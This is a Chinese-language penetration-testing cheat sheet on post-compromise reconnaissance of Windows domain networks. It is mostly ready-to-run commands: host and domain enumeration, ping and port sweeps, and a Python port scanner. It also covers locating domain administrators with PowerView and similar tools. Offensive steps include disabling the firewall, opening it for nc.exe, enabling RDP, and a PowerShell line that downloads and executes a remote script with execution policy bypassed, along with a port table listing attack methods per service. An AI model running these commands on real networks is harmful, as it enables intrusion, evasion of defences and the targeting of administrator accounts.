内网信息搜集
- 一、概述
- 二、收集本机信息
-
- 1、查询网络配置信息:
- 2、查询操作系统及软件的信息
- 3、查询本机服务信息
- 4、查询进程列表
- 5、查询进程对应服务
- 6、查看启动程序信息
- 7、查看计划任务
- 8、查看主机开机时间
- 9、查询用户列表
- 10、获取本地管理员信息
- 11、查看当前在线用户
- 12、列出或断开本地计算机与所连接的客户端之间的对话
- 13、查询端口列表
- 14、查看补丁列表
- 15、查询本机共享列表
- 16、查询路由表及所有可用的ARP缓存表
- 17、查询防火墙相关配置
- 18、查看代理配置情况
- 19、查询并开启远程连接服务
- 20、自动搜集信息脚本
- 21、查询当前权限
- 22、判断是否存在域
- 23、探测域内存活主机
- 24、扫描域内端口
- 25、收集域内基础信息
- 26、查找域控制器
- 27、获取域内用户和管理员信息
- 28、定位域管理员
- 29、查找域管理进程
- 30、利用PowerShell收集域信息
一、概述
进入内网后,需要先判断以下两个方面:
1、我是谁:本机在域内的角色
2、这是哪:本机当前所在的网络环境的拓扑结构
3、我在哪:本机在内网环境中所处的位置
二、收集本机信息
1、查询网络配置信息:
ipconfig /all
2、查询操作系统及软件的信息
(1)查询操作系统和版本信息
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
(2)查看系统体系结构
echo %PROCESSOR_ARCHITECTURE%
(3)查看安装的软件及版本、路径等
wmic product get name,version
powershell "Get-WmiObject -class Win32_Product | Select-Object -Property name,version"
3、查询本机服务信息
wmic service list brief
4、查询进程列表
tasklist
5、查询进程对应服务
tasklist /svc
wmic process list brief
6、查看启动程序信息
wmic startup get command,caption
7、查看计划任务
schtasks /query /fo LIST /v
8、查看主机开机时间
net statistics workstation
9、查询用户列表
net user
10、获取本地管理员信息
net localgroup administrators
11、查看当前在线用户
query user || qwinsta
12、列出或断开本地计算机与所连接的客户端之间的对话
net session
13、查询端口列表
netstat -ano
14、查看补丁列表
systeminfo | findstr /c:"修补程序"
wmic qfe get Caption,Description,HotFixID,InstalledOn
15、查询本机共享列表
net share
wmic share get name,path,status
16、查询路由表及所有可用的ARP缓存表
route print
arp -a
17、查询防火墙相关配置
(1)关闭防火墙
windows server 2003及之前:
netsh firewall set opmode disable
windows server 2003之后:
netsh advfirewall set allprofiles state off
(2)查看防火墙配置
netsh firewall show config
(3)修改防火墙配置
windows server 2003及之前的版本允许指定程序全部链接:
netsh firewall add allowdprogram c:\nc.exe "allow nc" enable
windows server 2003之后:
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="c:\nc.exe"
允许指定程序退出
netsh advfirewall firewall add rule name="allow nc" dir=out action=allow program="c:\nc.exe"
允许3389端口放行
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
(4)自定义防火墙存储位置
netsh advfirewall set currentprofile logging filename "c:\windows\temp\fw.log"
18、查看代理配置情况
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
19、查询并开启远程连接服务
(1)查看远程连接端口:
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber
(2)在windows server 2003中开启3389端口
wmic path win32_terminalservicesetting where (__CLASS !="") call
(3)在windows server 2008和2012中开启3389端口
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1
reg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
20、自动搜集信息脚本
for /f "delims=" %%A in ('dir /s /b %WINDIR%\system32\*htable.xsl') do set "var=%%A"
wmic process get CSName,Description,ExecutablePath,ProcessId /format:"%var%" >> out.html
wmic service get Caption,Name,PathName,ServiceType,Started,StartMode,StartName /format:"%var%" >> out.html
wmic USERACCOUNT list full /format:"%var%" >> out.html
wmic group list full /format:"%var%" >> out.html
wmic nicconfig where IPEnabled='true' get Caption,DefaultIPGateway,Description,DHCPEnabled,DHCPServer,IPAddress,IPSubnet,MACAddress /format:"%var%" >> out.html
wmic volume get Label,DeviceID,DriveLetter,FileSystem,Capacity,FreeSpace /format:"%var%" >> out.html
wmic netuse list full /format:"%var%" >> out.html
wmic qfe get Caption,Description,HotFixID,InstalledOn /format:"%var%" >> out.html
wmic startup get Caption,Command,Location,User /format:"%var%" >> out.html
wmic PRODUCT get Description,InstallDate,InstallLocation,PackageCache,Vendor,Version /format:"%var%" >> out.html
wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemDirectory /format:"%var%" >> out.html
wmic Timezone get DaylightName,Description,StandardName /format:"%var%" >> out.html
21、查询当前权限
(1)查看当前权限
whoami
(2)获取域SID
whoami /all
(3)查询指定用户的详细信息
net user xxx /domain
22、判断是否存在域
(1)使用ipconfig命令
ipconfig /all
若存在域,则有主DNS后缀
通过
nslookup DNS后缀
来解析域名的IP地址
(2)查看系统详细信息
systeminfo
(3)查询当前登录域及登录用户信息
net config workstation
,可以看到,当工作站域为WORKGROUP时为非域环境
(4)判断主域
net time /domain
(域服务器通常会同时作为时间服务器使用)
不存在域,当前环境为工作组
存在域,但当前用户不是域用户,则会发生系统错误 5。
,若存在域则会显示出时间。
23、探测域内存活主机
(1)利用NetBIOS快速探测内网
NetBIOS是计算机的标识名,主要用于局域网中计算机的互访,其工作流程是正常的机器名解析查询应答的过程。nbtscan是一个用于扫描本地或远程TCP/IP网络上开放的NetBIOS名称服务器。
利用NetBIOS快速探测内网:
nbt.exe 10.101.17.12/24
Token | 含义 |
---|---|
SHARING | 该机器中存在正在运行的文件和打印共享服务,但不一定有内容共享 |
DC | 该机器可能是域控制器 |
U=USER | 该机器中有登录名为User的用户(不太准确) |
IIS | 该机器中可能安装可IIS服务器 |
EXCHANGE | 该机器中可能安装了Exchange |
NOTES | 该机器中可能安装了Lotus Notes电子邮件客户端 |
? | 没有识别出该机器的NetBIOS资源(可以使用-F再次扫描) |
(2)利用ICMP快速探测内网
使用循环命令探测整个C段:
for /L %I in (1,1,254) DO @ping -w 1 -n 1 10.101.171.%I | findstr "TTL="
使用vbs脚本进行探测:
strSubNet = "10.101.17."
Set objFSO= CreateObject("Scripting.FileSystemObject")
Set objTS = objfso.CreateTextFile("C:\Windows\Temp\Result.txt")
For i = 1 To 254
strComputer = strSubNet & i
blnResult = Ping(strComputer)
If blnResult = True Then
objTS.WriteLine strComputer & " is alive ! :) "
End If
Next
objTS.Close
WScript.Echo " All Ping scan, All Done!) "
Function Ping(strComputer)
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set colItems = objWMIService.ExecQuery("Select * From Win32_PingStatus Where Address='" & strComputer & "'")
For Each objItem In colItems
Select case objItem.StatusCode
Case 0
Ping = True
Case Else
Ping = False
End select
Exit For
Next
End Function
cscript.exe .\icmp.vbs
(3)通过arp来扫描探测内网
- arpscan
arp.exe -t 10.101.17.0/24
- Empire中的
usemodule situational_awareness/network/arpscan
- Nishang中的Invoke-ARPScan.ps1:
powershell -exec bypass -Command "& {Import-Module C:\Users\Administrator\Desktop\Invoke-ARPScan.ps1; Invoke-ARPScan -CIDR 10.101.17.0/24}" >> C:\Users\Administrator\Desktop\Result.txt
(4)通过常规TCP/UDP端口扫描探测内网
ScanLine是一款经典的端口扫描工具,可在windows下运行,支持TCP/UDP扫描
scanline.exe -h -t 22,80-89,110,389,1099,1433,2059,6379,7001,8080,1521,3306,3389,5432 -u 53,161,137,139 -O C:\Users\Administrator\Desktop\log.txt -p 10.101.17.1-254
24、扫描域内端口
(1)利用telnet命令进行扫描
(2)metasploit端口扫描
使用auxiliary/scanner/portscan/tcp
(3)PowerSploit的Invoke-Portscan.ps1脚本进行无文件形式扫描
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.1.0/24 -T 4 -ports '445,1433,8080,3389,80' -oA c:\user\administrator\desktop\res.txt"
(4)Nishang的Invoke-Portscan模块
- StartAddress:起始地址
- EndAddress:结束地址
- ScanPort:进行端口扫描
- Port:指定扫描端口
- Timeout:设置超时时间
使用以下命令进行搜索存活主机并解析主机域名
Invoke-PortScan -StartAddress 192.168.1.1 -EndAddress 192.168.1.3 -ResolveHost
(5)使用Python开发的工具扫描端口及获取banner信息
import optparse
from socket import *
from threading import *
screenlock = Semaphore(value=1)
def Scan(targetHost, targetPort):
try:
simplesocket = socket(AF_INET, SOCK_STREAM)
simplesocket.connect((targetHost, targetPort))
simplesocket.send('scanscan\r\n'.encode())
results = simplesocket.recv(100)
screenlock.acquire()
print('[+] %d/tcp open'% targetPort+' '+str(results))
except:
screenlock.acquire()
finally:
screenlock.release()
simplesocket.close()
def portScan(targetHost):
try:
targetIP = gethostbyname(targetHost)
except:
print("[-] Cannot resolve '%s': Unknown host"%targetHost)
return
try:
targetname = gethostbyaddr(targetIP)
print("\n[+] Scan Results for: "+targetname[0])
except:
print("\n[+] Scan Results for: "+targetIP)
setdefaulttimeout(1)
for targetPort in range(1,100):
t = Thread(target=Scan, args=(targetHost, int(targetPort)))
t.start()
def main():
parser = optparse.OptionParser('%prog '+'-H <target host>')
parser.add_option('-H', dest='targetHost', type='string', help='specify target host')
(options, args) = parser.parse_args()
targetHost = options.targetHost
if (targetHost == None):
print(parser.usage)
exit(0)
portScan(targetHost)
if (__name__ == "__main__"):
main()
附端口banner信息表:
文件共享服务端口
端口号 | 端口说明 | 使用说明 |
---|---|---|
21、22、69 | FTP/TFTP文件传输协议 | 允许匿名的上传、下载爆破和嗅探操作 |
2049 | NFS服务 | 配置不当 |
139 | SAMBA服务 | 爆破、未授权访问、远程代码执行 |
389 | LDAP目录访问协议 | 注入、允许匿名访问、弱口令 |
远程连接服务端口
端口号 | 端口说明 | 使用说明 |
---|---|---|
22 | SSH远程连接 | 爆破、SSH隧道及内网代理转发、文件传输 |
23 | Telnet远程连接 | 爆破、嗅探、弱口令 |
3389 | RDP远程桌面连接 | Shift后门(Windows Server 2003以下版本)、爆破 |
5900 | VNC | 弱口令爆破 |
5632 | PcAnywhere服务 | 抓取密码、代码执行 |
80、443、8080 | 常见的Web服务端口 | Web攻击、爆破、对应服务器版本漏洞 |
7001、7002 | Weblogic控制台 | Java反序列化、弱口令 |
8080、8089 | JBoss/Resin/Jetty/Jenkins | 反序列化、控制台弱口令 |
9090 | WebSphere控制台 | Java反序列化、弱口令 |
4848 | GlassFish控制台 | 弱口令 |
1352 | Lotus Domino邮件服务 | 弱口令、信息泄露、爆破 |
10000 | webmin控制面板 | 弱口令 |
数据库服务端口
端口号 | 端口说明 | 使用说明 |
---|---|---|
3306 | MySQL数据库 | 注入、提权、爆破 |
1433 | MSSQL数据库 | 注入、提权、SA弱口令、爆破 |
1521 | Oracle数据库 | TNS爆破、注入、反弹Shell |
5432 | PostgreSQL数据库 | 爆破、注入、弱口令 |
27017、27018 | MongoDB数据库 | 爆破、未授权访问 |
6379 | Redis数据库 | 未授权访问、弱口令 |
5000 | Sysbase/DB2数据库 | 爆破、注入 |
邮件服务器端口
端口号 | 端口说明 | 使用说明 |
---|---|---|
25 | SMTP邮件服务 | 邮件伪造 |
110 | POP3协议 | 爆破、嗅探 |
143 | IMAP协议 | 爆破 |
网络常见协议端口
端口号 | 端口说明 | 使用说明 |
---|---|---|
53 | DNS域名系统 | 允许区域传送、DNS劫持、缓存投毒、欺骗 |
67、68 | DHCP服务 | 劫持、欺骗 |
161 | SNMP协议 | 爆破、搜集目标内网信息 |
特殊服务端口
端口号 | 端口说明 | 使用说明 |
---|---|---|
2181 | ZooKeeper服务 | 未授权访问 |
8069 | Zabbix服务 | 远程执行、SQL注入 |
9200、9300 | Elasticsearch服务 | 远程执行 |
11211 | Memchached服务 | 未授权访问 |
512、513、514 | Linux rexec服务 | 爆破、远程登录 |
873 | rsync服务 | 匿名访问、文件上传 |
3690 | SVN服务 | svn泄露、未授权访问 |
50000 | SAP Management Console | 远程执行 |
25、收集域内基础信息
(1)查询域
net view /domain
(2)查询域内所有计算机
net view /domain:HACKER
(3)查询域内所有用户组列表(域控可用)
net group /domain
(4)查询所有域成员计算机列表
net group "domain computers" /domain
(5)获取域密码设置规则
net accounts /domain
(6)获取域信任信息
nltest /domain_trusts
26、查找域控制器
(1)查看域控制器的计算机名
nltest /DCLIST:hacker
(2)查看域控制器的主机名(非域控使用)
Nslookup -type=SRV_ldap._tcp
(3)查看当前时间,在通常情况下,时间服务器为主域控制器
net time /domain
(4)查看域控制器组
在实际情况中,一个域内一般存在两台或以上的域控制器,其目的是:一旦主域控制器发生故障,备用的域控制器可以保证域内的服务和验证工作正常运行
net group "domain controllers" /domain
netdom query pdc
可以看到域控制器
27、获取域内用户和管理员信息
(1)向域控制器进行查询
net user /domain
(2)获取域内用户的详细信息
wmic useraccount get /all
(3)查看存在用户
dsquery user
常用的dsquery命令如下表:
常用的dsquery命令 | 作用 |
---|---|
dsquery computer | 查找目录中的计算机 |
dsquery contact | 查找目录中的联系人 |
dsquery subnet | 查找目录 |
dsquery group | 查找目录中的组 |
dsquery ou | 查找目录中的组织单位 |
dsquery site | 查找目录中的站点 |
dsquery server | 查找目录中的AD DC/LDS实例 |
dsquery user | 查找目录中的用户 |
dsquery quota | 查找目录中的配额规定 |
dsquery partition | 查找目录中的分区 |
dsquery * | 用通用的LDAP查询来查找目录中的任何对象 |
(4)查询本地管理员组用户
net localgroup admistrators
(5)查询所有域用户列表
①、查询域管理员用户
net group "domain admins" /domain
②、查询管理员用户组
net group "Enterprise Admins" /domain
28、定位域管理员
(1)域管理员定位概述
定位域管理员的常规方法是通过日志或会话,日志是本地机器的管理员日志,可以使用脚本或Wevtutil工具导出并查看。会话是指域内每台机器的登录会话,可以使用netsess.exe或PowerView等工具查询(可以匿名查询,不需要权限)
(2)常用的域管理员定位工具
①、psloggedon.exe
在Windows上可以执行net session
来查看谁使用了本机资源,但是没有命令可用来查看谁在使用了远程计算机资源,谁登陆了远程计算机资源,使用psloggedon可以解决这一问题。psloggedon会搜索网上邻居中的计算机,并显示用户是否登录,其原理是通过检查注册表HKEY_USERS项的key值来查询谁登陆过(需要调用NetSessionEnum API),但某些功能需要管理员权限才能使用。
psloggedon [- ] [-l] [-x] [\\computername | username]
参数 | 描述 |
---|---|
– | 显示支持的选项和用于输出值的度量单位。 |
-l | 仅显示本地登录,而不显示本地和网络资源登录。 |
-X | 不显示登录时间。 |
\computername | 指定要为其列出登录信息的计算机的名称。 |
username | 如果指定用户名,则PsLoggedOn将在网络中搜索该用户已登录的计算机。如果要确保要更改特定用户的用户配置文件时未登录该用 |
②、PVEFindADUser.exe
用于查找活动目录用户登录位置,枚举域用户,查找在特定计算机上登录的用户,包括本地用户,通过RDP登录的用户,用于运行服务和计划任务的用户。运行该工具需要.NET Framework2.0环境,并且具备管理员权限。
PVEFindADUser.exe --current
③、netview.exe
https://github.com/mubix/netview
使用WinAPI枚举系统,利用NetSessionEnum找寻登录会话,利用NetShareEnum找寻共享,利用NetWkstaUserEnum枚举登录的用户。大部分功能不需要管理员权限。
参数 | 描述 |
---|---|
-h | 显示此帮助菜单 |
-f filename.txt | 指定一个文件以从中提取主机列表 |
-e filename.txt | 指定要排除的主机名文件 |
-o filename.txt | 输出到文件而不是STDOUT |
-d domain | 指定要从中拉出主机列表的域,如果未指定,则使用当前域 |
-g group | 指定用于用户搜寻的组名,如果未指定,则使用“域管理员” |
-c | 检查找到的共享以进行读取访问 |
④、Nmap的NSE脚本
https://svn.nmap.org/nmap/scripts/smb-enum-sessions.nse
⑤、PowerView脚本(常用)
powershell -exec bypass -Command"& {Import-Module c:\powerview.ps1; Invoke-UserHunter}"
⑥、Empire的user_hunter模块
29、查找域管理进程
(1)本机检查
①、获取域管理员列表
net group "Domain Admins" /domain
②、列出本机的所有进程及进程用户
tasklist -v
(2)查询域控制器的域用户会话
①、查询域控制器列表
net group "Domain Controllers" /domain
②、收集域管理员列表
net group "Domain Admins" /domain
③、收集所有活动域的会话列表
NetSess.exe -h
④、交叉引用域管理员列表与活动会话列表
这里可以使用GDA工具来完成
https://github.com/nullbind/Other-Projects/tree/master/GDA
(3)查询远程系统中运行的任务
收集域管理员列表后,将目标域系统添加到ips.txt中,将收集的域管理员添加到names.txt中,运行如下脚本:
for /F %i in (ips.txt) do @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL >output.txt && for /F %n in (names.txt) do @type output.txt | findstr %n > NUL && echo [!] %n was found running a process on %i &&pause
output.txt
(4)扫描远程系统的NetBIOS信息
扫描远程系统活跃域中的管理会话的脚本:
for /F %i in (ips.txt) do @echo [+]Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && for /F %n in (names.txt) do @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
30、利用PowerShell收集域信息
Powershell的四种权限
- Restricted:默认设置,不允许执行任何脚本。
- Allsigned:只能运行经过证书验证的脚本。
- Unrestircted:权限最高,允许执行任何脚本。
- RemoteSigned:对本地脚本不进行限制,对来自网络的脚本必须验证其签名。
输入Get-ExecutionPolicy
查看权限
输入Set-ExecutionPolicy UnRestricted
修改权限
PowerView是一款依赖PowerShell和WMI对内网进行查询的常用渗透测试脚本,集成在PowerSploit中,地址如下:
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
Import-Module .\PowerView.ps1
导入脚本
PowerView的常用命令如下: - Get-NetDomain:获取当前用户所在的域。
- Get-NetUser:获取所有用户的详细信息。
- Get-NetDomainController:获取所有域控制器的信息。
- Get-NetComputer:获取域内所有机器的详细信息。
- Get-NetOU:获取域中的OU信息。
- Get-NetGroup:获取所有域内组成员的信息。
- Get-NetFileServer:根据SPN获取当前域使用的文件服务器信息。
- Get-NetShare:获取当前域内所有的网络共享信息。
- Get-NetSession:获取指定服务器的会话。
- Get-NetRDPSession:获取指定服务器的远程连接。
- Get-NetProcess:获取远程主机的进程。
- Get-UserEvent:获取指定用户的日志。
- Get-ADObject:获取活动目录的对象。
- Get-NetGPO:获取域内所有的组策略对象。
- Get-DomainPolicy:获取域默认策略或域控制器策略。
- Invoke-UserHunter:获取域用户登录的计算机信息及该用户是否有本地管理员权限。
- Invoke-ProcessHunter:通过查询域内所有的机器进程找到特定用户。
- Invoke-UserEventHunter:根据用户日志查询某域用户登录过哪些机器。